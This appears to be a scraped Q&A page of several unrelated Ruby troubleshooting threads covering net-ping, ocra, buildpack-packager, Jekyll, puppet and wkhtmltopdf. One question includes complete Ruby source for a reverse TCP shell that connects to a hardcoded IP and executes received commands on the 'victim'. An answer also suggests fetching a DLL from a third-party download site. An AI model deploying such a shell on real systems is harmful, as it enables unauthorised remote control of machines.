ruby ping for 1.9.1 - ruby

I want to ping a site in my ruby code and saw that net-ping was a nice library to do this with. Unfortunately, when I tried to gem install net-ping I got the following error:
C:>gem install net-ping
ERROR: Error installing net-ping:
win32-open3 requires Ruby version < 1.9.0.
upon further research, I found that net-ping was not available yet for 1.9.X. Does anyone have a good piece of code that pings that they would be willing to share.

If by 'site' you mean website, then I wouldn't use ping. Ping will tell you if the host is up (unless a router or firewall is blocking ICMP), but it won't tell you if your web server or web app is responding properly.
If that's the case, I'd recommend Net::HTTP from the standard library, or any of the other HTTP libraries. One way to do it is:
def up?(site)
Net::HTTP.new(site).head('/').kind_of? Net::HTTPOK
end
up? 'www.google.com' #=> true

You can always do this and use regexps to parse the result or just check the exit status:
ping_count = 10
server = "www.google.com"
result = `ping -q -c #{ping_count} #{server}`
if ($?.exitstatus == 0) do
puts "Device is up!"
end
Ping return values that you can check against:
The ping utility returns an exit status of zero if at least one response was heard from the specified host; a status of two if the transmission was successful but no responses were received; or another value (from <sysexits.h>) if an error occurred.
http://www.manpagez.com/man/8/ping

For windows follow these instructions:
download djberg96-net-ping-net-ping-1.5.3-0-g9252076.zip from github.com/djberg96/net-ping
unzip, cd in the folder
gem build net-ping.gemspec
gem install net-ping-1.5.3-universal-mingw32.gem
gem install win32-security
to use it:
require 'net/ping'
p Net::Ping::TCP.new('www.google.com', 'http').ping?
p Net::Ping::TCP.new('foo.bar.baz').ping?

Use from source
gem "net-ping", :git => 'git://github.com/djberg96/net-ping.git'
# bundle install
Now you can use functions from it in 1.9.2

Related

Ruby compile with ocra error - libssp-0.dll not found

I'm trying to compile a simple reverse TCP shell written in ruby with ocra.
The code is pretty simple:
#!/usr/bin/env ruby
require 'socket'
require 'open3'
#Remote Host IP
RHOST = "192.168.197.23"
#Remote Host Port
PORT = "6969"
#Tries to connect every 5 seconds
begin
sock = TCPSocket.new "#{RHOST}","#{PORT}"
sock.puts "You are connected to your victim"
rescue
puts "Retrying..."
sleep 5
retry
end
#Runs the commands you type and sends you back the stdout and stderr.
begin
while line = sock.gets && line
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
retry
end
I build it with: ocra RevShell.rb --verbose
I get no error messages but whenever I try to run the .exe I get the following error: "C:\Users\Andrea\AppData\Local\Temp\ocrE30.tmp\bin\ruby_builtin_dlls\libssp-0.dll not found"
Am I missing something? Ocra should check the needed requirements by itself adding it to the exe by I still miss this dll.
Thanks for your help.
Maybe you don't have the libssp-0.dll file installed. You can download it from https://www.dll-files.com/libssp-0.dll.html then placing the file where the error says.
Use --dll ruby_builtin_dlls\libssp-0.dll.
See https://github.com/larsch/ocra/issues/168 for more details.
I faced the same problem with Ruby 2.6 and 2.7 (x64) installed by RubyInstaller.
In my case, libssp-0.dll surely exists at the ruby_builtin_dlls directory, but somehow it was not included in the compiled exe while other dlls in the same directory are all included.
For time being, I could evade this problem by using (x86) version of Ruby 2.7.

Ruby: 'Zip is not installed' error message when running on Win CMD this: buildpack-packager --uncached

I'm running cmd command buildpack-packer --uncached (or any other option of buildpack-packer). I had many error messages prior that. They were caused by bad content of manifest.yml. I corrected them. So now I receive this error message: Zip is not installed (RuntimeError)
I used gem install to install zip gem and rubyzip gem (as first did not work, so I tried a second). So now both not helping to get rid of this error message.
Here is a part of the installed gem list:
And here is the code that drops this error (found it based on the error message in file: C:/Ruby24-x64/lib/ruby/gems/2.4.0/gems/buildpack-packager-2.3.4/lib/buildpack/packager.rb):
I'm quite new in Ruby, so maybe I do some very basic mistake...
Thx in advance!!
Please don't use pictures or screenshots in your post. Use plaintext only.
I think you are misunderstanding the code:
_, _, status = Open3.capture3('which zip')
It checks if you have any zip program (executable) installed not a ruby gem (library). It actually executes which zip in your cmd shell.
For example on my system it found an oracle one:
c:\> which zip
/c/app/oracle/client11g/product/11.2.0/client/bin/zip
Then if you test it in irb:
irb(main):004:0> _, _, status = Open3.capture3('which zip')
=> ["/c/app/oracle/client11g/product/11.2.0/client/bin/zip\n", "", #<Process::Status: pid 10944 exit 0>]
You can see that the executable was found and success state is indicated by the 0. The variable status holds the return message - status => #<Process::Status: pid 10944 exit 0>
I have the which program from dev_kit:
c:\>which which
/c/prg_sdk/ruby/dev_kit/bin/which

--watch arg is unsupported on Windows

I'm new to jekyll so first I follow this tutorial Jekyll on Windows and setup jekyll 3.3.0.I got an error about the certificate this tutorial SSL CERTIFICATE UPDATES
and by using this cacert.pem certificate solve the problem.
However,when start jekyll server I get:
--watch arg is unsupported on Windows.
If you are on Windows Bash, please see: https://github.com/Microsoft/BashOnWindows/issues/216
I try to solve this problem using Let Jekyll --watch without any luck.
If I use jekyll 3.2.1 every things work okay but the problem with jekyll 3.3.0.
So how to solve this problem ?
Edit
I Solve my problem reading this and comment some code in the build.rb file at C:\tools\ruby23\lib\ruby\gems\2.3.0\gems\jekyll-3.3.0\lib\jekyll\commands
To enable autoregeration and now every things work okay.
def watch(site, options)
#if Utils::Platforms.windows?
# Jekyll.logger.warn "", "--watch arg is unsupported on Windows. "
# Jekyll.logger.warn "", "If you are on Windows Bash, please see: " \
# "https://github.com/Microsoft/BashOnWindows/issues/216"
# else
External.require_with_graceful_fail "jekyll-watch"
watch_method = Jekyll::Watcher.method(:watch)
if watch_method.parameters.size == 1
watch_method.call(
options
)
else
watch_method.call(
options, site
)
# end
end
I think you can just type jekyll serve.
It's windows bash error, Jekyll or Windows will fix it soon, till then you can use jekyll 3.2.1 version.
Here I commit my answer.
I solved the problem by installing Ruby 2.3.3, DevKit-mingw64 and jekyll 3.4.3

Installing puppetlabs/apt fails with '302 Found'

So I have a vagrant / puppet setup for my project* and am running Ubuntu 14.04 on it. It just broke, without changing anything. puppet module install puppetlabs-apt inside the VM fails with the following lines:
Error: Could not execute operation for 'puppetlabs/apt'
The server being queried was https://forge.puppetlabs.com
The HTTP response we received was '302 Found'
Check the author and module names are correct.
I'm using this module for quite some time and it seems like it just stopped working for no reason. Any advice appreciated.
-- Edit: answer question
running it with --debug doesn't help much I guess
Notice: Preparing to install into /home/vagrant/.puppet/modules ...
Notice: Created target directory /home/vagrant/.puppet/modules
Notice: Downloading from https://forge.puppetlabs.com ...
Error: Could not execute operation for 'puppetlabs/apt'
The server being queried was https://forge.puppetlabs.com
The HTTP response we received was '302 Found'
Check the author and module names are correct.
*Link: https://github.com/dwalldorf/owTracker
vagrant up / vagrant ssh and puppet module install puppetlabs-apt
This should be fixed. You can check FORGE-327 for more information
https://forge.puppetlabs.com/puppetlabs/apt redirect to https://forge.puppet.com/puppetlabs/apt
you can force it to use the correct forge by appending --module_repository https://forge.puppet.com/ so it will become
puppet module install puppetlabs-apt --module_repository https://forge.puppet.com/
not sure exactly why it wants to download from https://forge.puppetlabs.com at first place, you could check your puppet.conf

merb - wkhtmltopdf command failed

when am running command like this its generating pdf document:
$ wkhtmltopdf http://google.com google.pdf
Loading pages (1/5)
Resolving links (2/5)
Counting pages (3/5)
Printing pages (5/5)
Done
But when using inside app by pdfkit gem it showing error
merb : worker (port 4000) ~ command failed: "/usr/local/bin/wkhtmltopdf" "--page-size" "Letter" "--print-media-type" "--margin-right" "0.0in" "--encoding" "UTF-8" "--margin-top" "0.5in" "--margin-bottom" "0.5in" "--margin-left" "0.0in" "--quiet" "-" "-" - (RuntimeError)
what am tried:
setting path
config.wkhtmltopdf = '/usr/local/bin/wkhtmltopdf '
installing dependencies
sudo aptitude install openssl build-essential xorg libssl-dev
Environment
Ubuntu 12.04 amd64
merb application
ruby 1.8.7
Problem sovled by changing the server port number
from
bundle exec merb -a thin #default port 4000
to
bundle exec merb -a thin -p 3000
and using the gem "wkhtmltopdf-binary"
Explanation
can sometimes find that the single threaded web server we use in development can cause a race condition. the browser is tieing up the one thread available, and begins a new web request to create the pdf files html, which causes a 2nd web request. Since your only web server thread is already in use, you can find this to hang.
To get around this, either run more threads. OR use another port for internal access, and have be the internal URL

Resources